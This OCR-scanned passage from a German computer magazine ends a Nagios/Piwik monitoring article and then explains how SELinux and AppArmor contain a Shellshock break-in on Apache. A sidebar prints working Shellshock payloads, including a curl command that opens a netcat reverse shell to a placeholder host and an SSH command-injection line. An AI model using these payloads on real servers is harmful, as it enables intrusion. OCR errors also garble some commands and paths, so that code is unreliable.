zusätzlichen von außen erreichbaren Dienst 
installieren müssen. 

Damit niemand den Tunnel für einen An- 
griff auf Ihren Raspi nutzen kann, machen Sie 
ihn durch zwei Firewall-Regeln zur Einbahn- 
straße. Dazu ergänzen Sie auf dem Raspi die 
Datei /etc/network/interfaces um Folgendes: 


iface tunÜ inet manual 
pre-up iptables -A INPUT -i tunO -m state --state ‚7 
ESTABLISHED,RELATED -j ACCEPT 
pre-up iptables -A INPUT -i tunO -j DROP 


Auch umgekehrt können Sie den Server per 
Firewall vor Angriffen durch den Tunnel 
schützen. Für NRPE etwa genügt die Frei- 
gabe von Port 5666 auf Ihrem Server: 


iptables -A INPUT -i tunO -p tcp --dport 5666 -j ACCEPT 
iptables -A INPUT -i tunO -j DROP 


Tragen Sie beide Regeln nach dem gleichen 
Muster wie auf dem Raspi ein. 

Den Nagios-NRPE-Server, die Standard-Na- 
gios-Plug-ins und etwaige Zusatz-Plug-ins 
wie check_iftrafic_nrpe.py, das bei hoher 
Netzwerkauslastung warnt, müssen Sie eben- 
so auf Ihrem Server installieren. Anschließend 
editieren Sie die Datei /etc/nagios/nrpe.cfg 
und suchen nach den beiden Zeilen, die mit 
allowed_hosts und mit command{[check_hda1] begin- 
nen. Tragen Sie stattdessen Folgendes ein: 


allowed_hosts=127.0.0.1,192.168.253.1 
commandl[check_disk]=/usr/lib/nagios/plugins/,7 
check_disk -w 20% -c 10% -p / 


Die erste Zeile erlaubt dem Raspberry Pi, per 
VPN auf den NRPE-Dienst zuzugreifen, die 
zweite behält den Füllstand Ihres Root-Datei- 
systems im Auge. Anschließend starten Sie 
den NRPE-Daemon neu, damit die Änderun- 
gen wirksam werden. 

Eine Besonderheit des NRPE-Servers ist, 
dass er lediglich Kommandos ausführt, die 
Sie wie im Beispiel gezeigt per command[] 
zuvor in der Konfigurationsdatei eingetragen 
haben. Auch akzeptiert er für diese Nagios- 
Kommandos keine Parameter. Beides soll 
verhindern, dass etwaige Angreifer unzuläs- 
sige Kommandos ausführen oder beliebige 
Daten abfragen können. Wenn Sie also ein 
zusätzliches Nagios-Plug-in auf Ihrem Server 
installieren, müssen Sie es auch in der Konfi- 
gurationsdatei des NRPE-Dienstes eintragen, 
um es aus der Ferne verwenden zu können. 

Danach können Sie die vordefinierten 
Dienste mithilfe des NRPE-Plug-ins auf dem 
Raspi abfragen. Damit künftig alle Nagios- 
Abfragen korrekt über das VPN abgewickelt 
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werden, müssen Sie auf dem Raspi in der 
Datei server.cfg bei der Host-Definition den 
Host-Namen Ihres Servers durch die private 
IP-Adresse 192.168.253.2 ersetzen. Um 
zudem den Festplattenstatus per check_disk 
zu prüfen, legen Sie analog zum Beispiel von 
Seite 120 eine neue Service-Definition an 
und tragen dort als Nagios-Kommandb ein: 


check_command check_nrpe_Targ!check_disk 


Das Kommando check_nrpe_larg ist bereits vor- 
definiert, sodass Sie es unmittelbar verwen- 
den können. 


Webtracking als Wachhund 


Neben unerklärlich hoher Netzwerk- und 
Festplattenauslastung kann auch ein plötzli- 
cher Besucheransturm ein Hinweis auf unge- 
wöhnliche Aktivitäten sein. Um das feststel- 
len zu können, benötigen Sie einen Webtra- 
cker - wir haben uns für das Open-Source- 
Tool Piwik entschieden, das auch den 
deutschen Datenschutzanforderungen ent- 
spricht. Die Einrichtung von Piwik ist in [1] 
ausführlich beschrieben. Zusammengefasst 
müssen Sie lediglich Piwik von der Projekt- 
seite herunterladen, im Verzeichnis Ihres 
Webservers auspacken und eine MySQL-Da- 
tenbank für den Piwik-Benutzer anlegen. 

Danach können Sie über das Piwik-Web- 
Frontend nicht nur die aktuellen Zugriffssta- 
tistiken einsehen, es bietet Ihnen auch Zu- 
gang zum Piwik-API, mit dem Sie aus Skripten 
heraus Statistiken abrufen können. Das Piwik- 
Api finden Sie im Web-Frontend im Pulldown- 
Menü beim Benutzernamen, dort sind alle 
verfügbaren Auswertungsfunktionen und das 
zur Authentifizierung der Skripte erforderliche 
Token aufgelistet. Unter anderem können 
Sie die aktuellen Besucher- und Zugriffszah- 
len sowie die Zugriffe nach Ländern oder Kon- 
tinenten sortiert im XML-Format abrufen. 

Das Piwik-API eignet sich gut, um eigene 
Nagios-Agenten zur Überwachung der Inter- 
netaktivitäten zu programmieren. Zum Abruf 
der Statistik im XML-Format verwenden Sie 
am besten Curl. Der folgende Aufruf ermit- 
telt die aktuellen Besucher- und Zugriffszah- 
len der letzten Stunde: 


curl -sk "http://example.com/index.php?module=API,7 
&method=Live.getCounters&idSite=1&lastMinutes=60,7 
&format=xml&token_auth=7ff6dca0a87581ac90a94032a" 


Die Website-ID idSite und das Token sind für 
jede Piwik-Installation und Website individu- 
ell, beides finden Sie auf der API-Seite im 
Piwik-Frontend. Das Ergebnis ist eine XML- 
Datei, wie Sie im Listing oben links sehen 
können. Um daraus die aktuelle Anzahl der 
Besuche zu extrahieren, reichen Sie die Aus- 
gabe mittels Pipe an xmistarlet weiter: 


xmistarlet sel -B -T -t -v "/result/row/visits" 


Um daraus ein Nagios-Plug-in zur Beobach- 
tung der Besucherzahlen in Form eines Shell- 
Skripts zu entwickeln, müssen Sie die Zahl 
aus der Statistik nur noch mit von Ihnen 
selbst gewählten Schwellwerten für eine ein- 
fache Warnung und für einen kritischen Zu- 
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stand vergleichen. Ist die Warnschwelle 
überschritten, lassen Sie das Skript den Exit 
Status 1 zurückgeben, bei einem kritischen 
Zustand 2. Ist alles in Ordnung, sollte Ihr 
Skript 0 zurückliefern. Nagios orientiert sich 
beim Status ausschließlich am Exit Status des 
jeweiligen Plug-ins - es ist aber sinnvoll, das 
Skript einen kurzen Text ausgeben zu lassen, 
der das vorliegende Problem beschreibt 
oder einfach nur OK meldet. Diesen Text zei- 
gen Ihnen auch das Nagios-Frontend und 
das Nagios-Browser-Plug-in an. 

Der Clou ist, dass Sie für die Piwik-Plug-ins 
kein NRPE und damit auch kein OpenVPN 
benötigen. Sie eignen sich also auch zur 
Überwachung von Servern, auf denen Sie 
keine Root-Rechte besitzen. Wir haben Ihnen 
über den c’t-Link insgesamt sechs Nagios- 
Plug-ins und die zugehörigen Service- und 
Kommandodefinitionen zum Download 
bereitgestellt, mit denen Sie die Statistiken 
von Piwik auswerten können. Die Plug-ins 
check_piwik_visits und check_piwik_actions 
ermitteln die aktuellen Besucher- und Zu- 
griffszahlen, während check_piwik_country- 
actions und check_piwik_countryvisits sowie 
check_piwik_continentactions und check_ 
piwik_continentvisits die Zugriffszahlen des 
Vortags ermitteln und auswerten, ob aus 
dem Ausland oder von anderen Kontinenten 
mehr Zugriffe erfolgten als aus der Heimat. 


Eingepegelt 


Die Wahl der richtigen Schwellwerte für die 
verschiedenen Nagios-Plug-ins ist die wohl 
schwierigste Aufgabe, sie hängt stark vom je- 
weiligen Server ab. So kann ein Betreiber 
eines deutschen US-Auto-Forums bei zwan- 
zig Prozent Besuchern aus den USA gelassen 
bleiben, während es bei einem deutschen 
Kleingartenverein schon verdächtig ist, wenn 
zehn Prozent der Besucher aus dem Ausland 
kommen. Es ist daher ganz normal, dass man 
die Schwellwerte in der Anfangszeit häufig 
anpassen muss. 

Haben Sie Piwik bislang nicht auf Ihrem 
Server verwendet, sollten Sie das Webtra- 
cking-Tool erst ein oder zwei Monate lang 
die Zugriffe aufzeichnen lassen, bevor Sie die 
Piwik-Plug-ins in Nagios einbinden. Danach 
können Sie versuchen, anhand der festge- 
stellten Spitzenwerte sinnvolle Warnschwel- 
len für die einzelnen Plug-ins festzulegen, so- 
dass nicht ständig Fehlalarme ausgelöst wer- 
den. Auch wenn Sie kaum mehr Fehlalarme 
haben, sollten Sie je nach Server monatlich 
oder vierteljährlich überprüfen, ob die 
Schwellen nicht inzwischen zu hoch sind. 
Denn ein Wächter, der bei jeder Kleinigkeit 
Alarm schlägt, ist genauso nutzlos wie einer, 
der im Ernstfall schweigt. (mid) 


Literatur 


[1] Mirko Dölle, Besucher im Blick, Datenschutz- 
konformes Webtracking mit Piwik, c't 7/11, 
S.182 


CE Piwik-Plug-ins für Nagios: ct.de/yd28 
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Ralf Spenneberg 


Zweite Abwehrlinie 


SELinux und AppArmor schützen nach dem Einbruch 


Die Sicherheitserweiterungen SELinux und AppArmor sperren von außen erreichbare 


Prozesse in einen Käfig, der verhindert, dass beispielsweise ein gekaperter Apache 


eine Shell mit Vollzugriff aufs System startet. So kann ein Angreifer auch nach einem 
erfolgreichen Einbruch nur begrenzt Schaden anrichten - und selbst ein Sicherheits- 
GAU wie die Shellshock-Lücke glimpflich ausgehen. 


A ih Kim 


hellshock sorgte im September letzten 

Jahres für Überstunden bei den Adminis- 
tratoren. Die über Jahre nicht erkannte Si- 
cherheitslücke überraschte Entwickler wie 
Anwender: Die weitverbreitete Linux-Shell 
Bash führt in Umgebungsvariablen eingebet- 
tete Befehle aus - eine Funktion, die manche 
Skripte sogar ganz bewusst nutzen. 

Niemandem war jedoch bewusst, dass 
sich dieses Verhalten durch gezieltes Setzen 
von Umgebungsvariablen beim Aufruf von 
CGI-Skripten ausnutzen lässt, um beliebige 
Kommandos auf Webservern auszuführen. 
Dazu genügt ein GET-Request über HTTP mit 
passend konstruierten Parametern (siehe 
Textkasten rechts). Da viele Linux-Systeme 
die Bash als Standard-Shell nutzen, indem sie 
/bin/sh auf /bin/bash verlinken, sind alle An- 
wendungen, die mittels popen() oder sys- 
tem() weitere Prozesse mit Unterstützung 
der Shell starten, potenziell angreifbar. 
Betroffen können daher auch CGl-Skripte 
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sein, die in Perl, PHP oder einer anderen 
Sprache geschrieben sind. 


Impact-GAU 


Auch in vielen anderen Kontexten kommen 
auf Linux- und Unix-Rechnern die Bash und 
Umgebungsvariablen zum Einsatz, häufig, 
ohne dass Admins und Anwender davon 
überhaupt etwas mitkriegen. So lassen sich 
Shellshock-Attacken unter anderem gegen 
SSH, DHCP-Clients und den CUPS-Druckser- 
ver fahren. Auch Mailserver wurden mit spe- 
ziell präparierten Mails mit Shell-Befehlen im 
Header angegriffen - die konnten beispiels- 
weise zum Zuge kommen, wenn der Mailser- 
ver die Metadaten der Mail per Umgebungs- 
variablen an einen Spam-Filter weitergibt. 
Betroffen von Shellshock sind alle Bash- 
Versionen seit der ersten Version von 1987 bis 
zur Version 4.3 Patch 025 vom 24. September 
2014. Nachdem die Shellshock-Sicherheits- 
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lücke (CVE-2014-6271) bekannt wurde, haben 
die Linux-Distributoren schnell reagiert und 
die Sicherheitslücke geschlossen. 

Als Konsequenz aus Shellshock haben 
Sicherheitsforscher die Bash genauer unter- 
sucht und dabei eine Reihe weiterer 
Schwachstellen gefunden, die zusätzliche 
Patches benötigen. Diese beschneiden teil- 
weise den ursprünglichen Funktionsumfang 
der Bash, sodass das Mehr an Sicherheit zu 
Kompatibilitätsproblemen mit bestehenden 
Bash-Skripten führen kann. 


Das Problem 


Der Textkasten rechts zeigt, wie einfach man 
über die Shellshock-Lücke beliebige Dateien 
auf dem Server auslesen und mit Hilfe des 
Netcat-Kommandos nc eine Hintertür auf 
einem Webserver einrichten konnte. Aber 
warum darf der Apache-Webserver über- 
haupt alle möglichen Dateien lesen und be- 
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liebige Programme starten, die er für den 
Normalbetrieb gar nicht benötigt? 

Dies ist eine Designschwäche von Unix- 
und Linux-Systemen, die historisch bedingt 
nur ein sehr eingeschränktes Rechtemodell 
bieten: Lese-, Schreib- und Ausführen-Recht 
an einer Datei können dem Eigentümer der 
Datei, genau einer Benutzergruppe oder 
allen lokalen Usern gewährt werden. Es gibt 
aber keine Möglichkeit, verschiedenen Grup- 
pen unterschiedliche Kombinationen von 
Rechten zuzuweisen oder einzelnen Usern 
oder Benutzergruppen den Zugriff zu ver- 
weigern. Andere Betriebssysteme bieten hier 
mehr Möglichkeiten. Zwar gibt es mit den 
POSIX-ACLs seit über zehn Jahren eine Lö- 
sung, sie werden aber kaum eingesetzt, da 
ihre Handhabung umständlich ist - Is zeigt 
die ACLs nicht an, tar sichert sie nicht, und zur 
Administration benötigt man die Program- 
me getfacl und setfacl. 

In der Praxis benötigen fast immer mehre- 
re User und Gruppen Lese- und Ausführrech- 
te an den meisten Dateien und Programmen. 
Im Unix- und Linux-Rechtemodell bedeutet 
das, dass man diese Rechte allen Usern ge- 
währen muss - also auch dem Benutzerkon- 
to, unter dem der Webserver läuft. Außer- 
dem darf jeder Benutzer Netzwerkverbin- 
dungen zu beliebigen Ports im Internet auf- 
bauen. Daher darf der „böse“ Netcat-Prozess, 
der ja über den Webserver gestartet wurde 
und daher mit Webserver-Rechten läuft, eine 
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Netzwerkverbindung zu Port 5000 eines ent- 
fernten Rechners aufbauen. 


Die Lösung 


Um den Beschränkungen der traditionellen 
Unix-Rechte zu entkommen, implementieren 
die konkurrierenden Ansätze SELinux und 
AppArmor ein zusätzliches Rechtekonzept, 
das unabhängig ist von den Unix-Rechten. 
Beide Sicherheitserweiterungen sorgen für 
eine doppelte Prüfung jedes Zugriffs auf eine 
Datei oder einen Befehl: Sowohl die Unix- 
Rechte als auch SELinux oder AppArmor 
müssen den Zugriff erlauben. So kann man 
sogar die Unix-typische Allmacht des Benut- 
zers mit der User-ID 0 (Root) einschränken. 
Dabei lassen sich Rechte sehr viel feinkör- 
niger vergeben und entziehen als nach dem 
groben Unix-Raster: SELinux beispielsweise 
differenziert bei Schreiboperationen zwi- 
schen Anlegen, Überschreiben, Löschen und 
dem Anhängen von Daten - das Unix- 
Schreibrecht räumt entweder alle diese Rech- 
te ein oder keines davon. AppArmor gewährt 
oder entzieht Prozessen feinkörnig Rechte 
wie das Öffnen von privilegierten Ports unter 
1024, das Laden von Kernelmodulen oder das 
Neustarten des Rechners (Capabilities) - das 
ist im Unix-Rechtemodell traditionell alles in 
der Root-Berechtigung zusammengefasst. 
Standardmäßig verbieten AppArmor und 
SELinux erst einmal jeglichen Zugriff; alle Ak- 


tionen müssen explizit erlaubt werden. SE- 
Linux, das in der Red-Hat-Welt standardmä- 
ßig zum Einsatz kommt, stellt dabei immer 
das gesamte System unter Überwachung; 
entsprechend benötigt man einen umfang- 
reichen Regelsatz, damit überhaupt noch 
etwas geht. Alle Prozesse gehören in der 
SELinux-Terminologie einer Domäne an, die 
den Sicherheitskontext des Prozesses fest- 
legt; alle Objekte (in erster Linie Dateien) 
haben einen Typ. In der Matrix aus Domäne 
und Typ muss jeder erwünschte Zugriff expli- 
zit zugelassen werden. 

AppArmor beschränkt die Kontrolle auf 
ausgewählte, besonders gefährdete Prozes- 
se. Das, was ein Programm tun darf, steht in 
einem Profil, das den Namen des Programms 
trägt: Wenn /usr/sbin/apache2 startet, stattet 
AppArmor den Prozess mit den Rechten aus, 
die in /etc/apparmor.d/usr.sbin.apache2 hin- 
terlegt sind. In Ubuntu, das AppArmor stan- 
dardmäßig mitbringt, steht allerdings nur 
eine Handvoll Prozesse unter AppArmor- 
Überwachung. Um beispielsweise einen 
wirksamen Schutz für CGl-Skripte zu imple- 
mentieren, muss man selbst Hand anlegen. 
Als Lohn winkt aber ein maßgeschneiderter 
Schutz. 


SELinux in Aktion 


Wird der im Shellshock-Beispiel aufgeführte 
Curl-Aufruf zum Start von Netcat bei aktivem 


Das Common Gateway Interface, kurz CGl, wurde erstmals 
1993 im NCSA httpd implementiert und anschließend von allen 
Webservern übernommen. Es ist ein Standardverfahren für die 
Erzeugung von dynamischen Webinhalten, bei dem der Web- 
server externe Programme - üblicherweise Skripte - aufruft. 
Vom Webanwender beigesteuerte Werte, etwa Eingaben in 
Formulare, übergibt der Webserver in Umgebungsvariablen. 
Die externen Programme geben als Antwort HTML-Code aus, 
den der Webserver wiederum an den Browser des Anwenders 
ausliefert. 


Ein einfaches Beispiel ist das folgende Skript: 


#!/bin/bash 
echo -e "Content-type: text/plain\n\r" 
env 


Legt man dieses Skript unter dem Namen env.sh beispielsweise 
auf einem CentOS-Rechner mit Apache im Verzeichnis /var/www/ 
cgi-bin ab und versieht es mit Execute-Rechten, liefert die URL 
cgi-bin/env.sh?shellshock auf dem Server unter anderem die folgenden 
Umgebungsvariablen zurück, die an die Bash übergeben 

wurden: 


HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/33.0 

HTTP_ACCEPT_LANGUAGE=de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4 

HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;,7 
q=0.9,image/webp,*/*;q=0.8 

HTTP_ACCEPT_ENCODING=gzip, deflate, sdch 

QUERY_STRING=shellshock 


Der Webserver hat den an das Skript übergebenen Parameter in 
der Variablen QUERY_STRING abgelegt. Auch die HTIP_-Variablen ent- 


c't 2015, Heft 4 


halten Werte, die der HTTP-Client des Anwenders übermittelt hat. 
Ein Angreifer kann daher eine beliebige dieser Variablen für den 
Shellshock-Angriff nutzen. Mit einem simplen Curl-Aufruf kann 
man beispielsweise ein Kommando in der User-Agent-Variablen 
verstecken: 


curl -H "User-Agent: () { :; }; echo \"Content-type: text/plain\"; echo; ‚7 
/bin/cat/etc/redhat-release" http://REMOTE/cgi-bin/env.sh 


Wenn die Bash noch die Shellshock-Lücke enthält, gibt dieser 
Aufruf den Inhalt der Datei /etc/redhat-release aus. Das funktio- 
niert auch mit allen anderen Dateien, die für den Benutzer apache 
oder alle lokalen Benutzer lesbar sind - und das sind viel mehr, als 
jeder x-Beliebige draußen im Web kennen sollte. 


Natürlich kann man auch beliebige andere Programme ausführen. 
Der folgende Befehl startet auf dem Server eine Reverse Shell, die 
sich direkt mit dem lokalen Rechner verbindet: 


curl -H "User-Agent: () { :; }; /bin/bash -c \"nc LOKAL 5000 -e /bin/bash\"" 7 
http://REMOTE/cgi-bin/env.sh 


Dazu muss auf dem lokalen System auf Port 5000 ein Netcat-Liste- 
ner laufen: 


nc -1 5000 


Nun kann man auf dem lokalen System beliebige Befehle einge- 
ben, die der Webserver ausführt. Mache Linux-Distributionen, da- 
runter Ubuntu, bringen eine Netcat-Version mit, die die Option -e 
nicht kennt. In diesem Fall erläutert die Man-Page zu nc, wie man 
mit zwei Befehlen einen Shell-Server baut. 
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SELinux hat ein Problem entdeckt. 


Der Quellprozess /usr/bin/ncat 
versuchte mit name_connect 
auf tcp_socket zuzugreifen. 
Details 


Fehlersuche | Administrator benachrichtigen 


Fehlermeldung 1 von 1 


Neuer SELinux-Sicherheitsalarm 


Möchten Sie Meldungen erhalten? ® Ja Nein 


Fr Jan 9, 2015 18:28 GMT 


Ignorieren Löschen 


Zeige alle Meldungen 


AVC-Ablehnung, klicken Sie zur Anzeige auf das Icon 


Verwerfen 


Anzeigen 


SELinux kann auch gleich auf dem Desktop Alarm schlagen. 


SELinux unter CentOS 7 aufgerufen, so 
schlägt er fehl. Das Log des Webservers mel- 
det: 


[Thu Jan 08 16:50:57.031454 2015] [cgi:error] 7 
[pid 31067] [client 192.168.222.100:44113] ‚7 
AH01215: Ncat: Permission denied. 


In der Datei /var/log/audit/audit.log findet 
man weitere Informationen: 


type=AVC msg=audit(1414075857.030:484): avc: denied,7 
{ name_connect } for pid=32302 comm="nc" dest=5000 ‚7 
scontext=system_u:system_r:httpd_sys_script_t:s0 7 
tcontext=system_u:object_r:commplex_main_port_t:s0 7 
tclass=tcp_socket 


In seiner Default-Einstellung verbietet SELi- 
nux dem CGl-Skript zwar nicht den Aufruf 
des Netcat-Kommandos, wohl aber den Auf- 
bau einer TCP-Verbindung für Prozesse, die 
in der SELinux-Domäne httpd_sys_script_t laufen 
- und die gilt für alle Skripte, die der Webser- 
ver startet. Erst wenn man ausdrücklich mit 


semanage boolean -m --on httpd_can_network_connect 


die SELinux-Variable httpd_can_network_connect=1 
setzt, ist der Reverse-Shell Aufruf erfolg- 
reich. 

Ein weiteres Beispiel, das nur bei aktivem 
SELinux nicht funktioniert, ist die Anzeige 
der eigentlich für alle Benutzer lesbaren zen- 
tralen SELinux-Konfigurationsdatei /etc/seli- 
nux/config: Die SELinux-Regeln erlauben 


DAC und MAC 


Der klassische Unix-Sicherheitsansatz implementiert eine soge- 
nannte Discretionary Access Control (DAC): Der Eigentümer einer 
Datei hat die volle Kontrolle über die Datei und legt selbst fest, wer 
mit welchen Rechten darauf zugreifen darf. Vertut er sich dabei, 
können auf einmal alle Benutzer vertrauliche Daten lesen oder wich- 
tige Systemdateien überschreiben. Prozesse erben beim Start die 
Rechte des Benutzers: Von root gestartet, kann der Webserver jede 
Datei im System lesen und überschreiben, von einem normalen Be- 
nutzer gestartet, möglicherweise nicht einmal die eigene Startseite. 
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nicht, dass Prozesse im Sicherheitskontext 
httpd_sys_script_t lesend auf Objekte vom Typ 
selinux_config_t zugreifen. Die Domäne von Pro- 
zessen und den Typ von Objekten geben die 
Kommandos ps und Is aus, wenn man sie mit 
der Option -Z aufruft. 


AppArmor 


Obwohl Ubuntu-Hersteller Canonical das 
AppArmor-Profil für Apache offiziell unter- 
stützt, muss der Admin zunächst das Paket 
libapache2-mod-apparmor sowie das Paket 
apparmor-utils installieren. Selbst danach 
läuft der Apache noch ohne AppArmor- 
Schutz - Canonical empfiehlt die Nutzung 
von AppArmor für Apache ausdrücklich nur 
erfahrenen Administratoren. 

Um das Profil zu aktivieren, müssen Sie 
daher noch den Link /etc/apparmor.d/disab- 
le/usr.sbin.apache2 löschen. Anschließend 
laden die folgenden Befehle die AppArmor- 
Profile neu, aktivieren das Apparmor-Modul 
von Apache und starten den Webserver neu: 


service apparmor reload 
a2enmod apparmor 
service apache2 restart 


Über die AppArmor-Funktionen kann der 
Apache-Prozess unterschiedliche Sicher- 
heitskontexte für unterschiedliche Verzeich- 
nisse und Funktionen nutzen: In AppArmor- 
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Terminologie wechselt Apache beim Ausfüh- 
ren von CGl-Skripten seinen Hut („change 
hat”), sodass für solche Skripte andere Re- 
geln gelten können als beispielsweise für 
den Zugriff auf statische HTML-Seiten. 

Ubuntu und Debian installieren Apache 
standardmäßig mit dem thread-basierten 
Multi-Processing-Modul Event, wenn nicht 
mod_php oder ein anderes Modul verwen- 
det wird, das kein Multithreading kann. Hier 
kommt aus Performance-Gründen das 
Modul mod_cgid zum Einsatz, das CGI-Skrip- 
te über einen externen CGl-Daemon außer- 
halb des Apache-Kontexts ausführt. Eine 
Beschränkung des Apache-Prozesses würde 
gar nichts bringen. 

Daher muss man zunächst das Paket apa- 
che2-mpm-prefork installieren, das MPM 
Prefork aktivieren und auf cgi statt cgid um- 
stellen: 


a2dismod mpm_event 
a2enmod mpm_prefork 
a2enmod cgi 

a2dismod cgid 


Außer in Szenarien mit sehr vielen parallelen 
Zugriffen sollte diese Änderung keine gro- 
ßen Auswirkungen auf die Apache-Perfor- 
mance haben. 

Um nun das CGl-Verzeichnis mit einem 
eigenen „Hut“ auszustatten, ist der Block 
<IfDefine ENABLE_USR_LIB_CGI_BIN> in /etc/apache2/ 
conf-enabled/serve-cgi-bin.conf um eine Zeile 
zu erweitern: 


<IfDefine ENABLE_USR_LIB_CGI_BIN> 
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ 
<Directory "/usr/lib/cgi-bin"> 
AAHatname (GI ## Diese Zeile definiert den Hat 
AllowOverride None 
Options +ExecCGI -MultiViews +SymLinkslfOwnerMatch 
Require all granted 
</Directory> 
</IfDefine> 


Nun wird dieser Hat am Ende der Datei 
/etc/apparmor.d/usr.sbin.apache2 vor der 
letzten schließenden geschweiften Klammer 
eingefügt: 


ACGI flags=(complain) { 
} 


Die Angabe des Complain-Flags schaltet den 
AppArmor-Lernmodus ein, in dem Zugriffe 


SELinux und AppArmor führen eine Mandatory Access Control 
(MAC) in Linux ein: Hier kontrolliert ein vom Benutzer unabhän- 
giger Regelsatz auf Kernelebene alle Aktionen. Was ein Benutzer 
oder ein Prozess mit einer Datei machen darf, hängt nicht mehr 
davon ab, ob ihm die Datei gehört oder nicht, sondern allein 
davon, ob eine SELinux- oder AppArmor-Regel den gewünschten 
Zugriff gestattet - unabhängig von den groben traditionellen 
Unix-Rechten mit Lese-, Schreib- und Ausführrecht für Besitzer, 
Gruppe und Rest der Welt. 
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EZ: oliver@tikal: - 


$ oliver@tikal:-$ sudo aa-logprof 

[sudo] password for oliver: 

Reading log entries from /var/log/audit/audit.log. 
Updating AppArmor profiles in /etc/apparmor ..d. 
Complain-mode changes: 


Profile: /usr/sbin/apache2*CGI 
Path: /proc/27469/attr/current 
Mode: rw 

Severity: 9 


1 - /proc/27469/attr/current 
[2 - /proc/*/attr/current] 


/ (F)inish / (M)ore 
Adding /proc/*/attr/current rw to profile 


Profile: /usr/sbin/apache2*CGI 

Path: /var/log/apache2/access.log 
Mode: w 

Severity: 8 


[1 - /var/log/apache2/access.log] 


/ (F)inish / (M)ore 
Adding /var/log/apache2/access.log w to profile 


= Changed Local Profiles = 


[1 - /usr/sbin/apache2] 


C)lean profiles / Abo(r)t 


[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t 


[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t 


The following local profiles were changed. Would you like to save them? 


(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w ( 


Der Admin 

legt bei jedem 
einzelnen Zugriff 
des Webservers 
fest, ob AppArmor 
ihn erlauben soll. 


des Webservers protokolliert, aber nicht ver- 
boten werden. Damit die neue Regel wirk- 
sam wird, muss AppArmor seinen Regelsatz 
neu laden und Apache neu starten: 


service apparmor reload 
service apache2 restart 


Anlernen 


Nun können Sie alle Aktionen vornehmen, 
die später erlaubt sein sollen: AppArmor pro- 
tokolliert die Zugriffe in /var/log/audit/ 
audit.log oder - falls der Auditd nicht instal- 
liert ist - in /var/log/syslog. Die Installation 
von Auditd ist empfehlenswert, damit die 
AppArmor-Meldungen später bei der Ana- 
Iyse nicht aus einer Unmenge irrelevanter 
Syslog-Einträge rausgefischt werden müs- 
sen. Das kann nämlich das interaktive Ana- 
Iyse-Tool aa-logprof ordentlich aus dem 
Tritt bringen. 

aa-logprof zeigt nun die einzelnen Zugriffe 
des Apache-Prozesses an und fragt bei 
jedem, ob er zukünftig erlaubt sein soll. Nach 
der Beantwortung der Fragen schreibt 
aa-logprof das überarbeitete Profil. Bei kom- 
plexen Anwendungen muss man diesen Vor- 
gang mehrfach wiederholen, bis AppArmor 
alle gewünschten Aktionen zulässt, ohne 
sich zu beschweren. Am Ende steht ein Profil, 
das in unserem einfachen Fall ungefähr so 
aussieht: 


ACGI { 
#include <abstractions/apache2-common> 
#include <abstractions/base> 
#include <abstractions/bash> 
#include <abstractions/consoles> 
/bin/bash r, 
/proc/*/attr/current rw, 
/proc/meminfo r, 
Jusr/bin/env rix, 
Jusr/lib/cgi-bin/env.sh rix, 
/var/log/apache2/access.log w, 
/var/\og/apache2/error.log w, 
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Das frisch erstellte Profil schaltet man mit 
dem Befehl 


aa-enforce usr.sbin.apache2 


scharf. AppArmor verbietet nun alle nicht ex- 
plizit erlaubten Dateizugriffe aus dem Apa- 
che-Prozess heraus. Versucht man jetzt bei- 
spielsweise, über eine ungepatchte Bash mit 
Shellshock-Lücke analog zum Netcat-Befehl 
im Kasten den mount-Befehl via Shellshock 
aufzurufen, unterbindet AppArmor diese 
Aktion und protokolliert dies in /var/log/ 
audit/audit.log oder /var/log/syslog: 


type=AVC msg=audit(1415543607.868:188): ‚7 
apparmor="DENIED" operation="exec" 7 
profile="/usr/sbin/apache2//CGI" name="/bin/mount" ‚7 


pid=6759 comm="env.sh" requested_mask="x" 7 
denied_mask="x" fsuid=33 ouid=0 


Mit der SELinux-Standardkonfiguration in 
CentOS wäre ein Aufruf des mount-Befehls 
durchaus möglich, da SELinux in dem mitge- 
lieferten Regelwerk viele Aktionen in CGl- 
Skripten erlauben muss. Die SELinux-Ent- 
wickler müssen hier berücksichtigen, dass 
viele nützliche CGl-Skripte Systemfunktionen 
nutzen. Bei AppArmor erzeugt der Admin 
sein Apache-Profil hingegen selbst und kann 
es so wesentlich besser auf die eigene 
Anwendung zuschneiden. 


Nicht nur CGl 


Shellshock betrifft nicht nur CGl-Skripte: 
Überall, wo Daten aus nicht vertrauenswürdi- 
gen Quellen in Umgebungsvariablen landen, 
um über die Bash weitere Befehle aufzurufen, 
waren Systeme durch Shellshock gefährdet. 
Selbst PHP-Skripte, die nicht über den CGl- 
Mechanismus, sondern via mod_php oder im 
Fast-CGl-Modus aufgerufen werden, können 
gefährdet sein, wenn sie externe Programme 
über system() aufrufen und dabei selbst Umge- 
bungsvariablen setzen. 

Auch die SSH ist anfällig, wenn sich der 
Angreifer am angegriffenen System anmel- 
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den kann, der Zugriff dort jedoch über die 
Datei authorized_keys eingeschränkt ist. Dies 
wird zum Beispiel für die Beschränkung eines 
Anwenders auf rsync, subversion oder den 
Aufruf von Monitoring-Agenten wie check_ 
mk_agent genutzt. In diesem Fall steht vor 
dem Public-Key des Anwenders das Kom- 
mando, das nach der Anmeldung aufgerufen 
wird: 


command="/usr/bin/check_mk_agent" ssh-rsa ... 


Über die Shellshock-Lücke kann der Anwen- 
der dennoch beliebige andere Kommandos 
ausführen: 


ssh test@localhost '() { :;}; echo Ich war hier' 


Der Mailserver Exim setzt einige Umge- 
bungsvariablen mit dem Inhalt von Header- 
Feldern der ankommenden Mails - hier 
lassen sich Shell-Kommandos mit einer Mail 
einschmuggeln. Postfix ist nicht betroffen; 
setzt man den Mailserver aber in Kombina- 
tion mit Procmail für die Zustellung der 
E-Mail ins Postfach des Benutzers ein, kön- 
nen beim Aufruf externer Skripte Mail- 
Header in Umgebungsvariablen landen. 

Auch OpenVPN nutzt Umgebungsvaria- 
blen, um mit Hilfsprogrammen zu kommuni- 
zieren. Wenn sich unter den externen Pro- 
grammen Shell-Skripte befinden, ist die 
OpenVPN-Installation verwundbar. Meist tritt 
das Problem aber erst nach der Authentifizie- 
rung des Clients auf. Ebenfalls betroffen war 
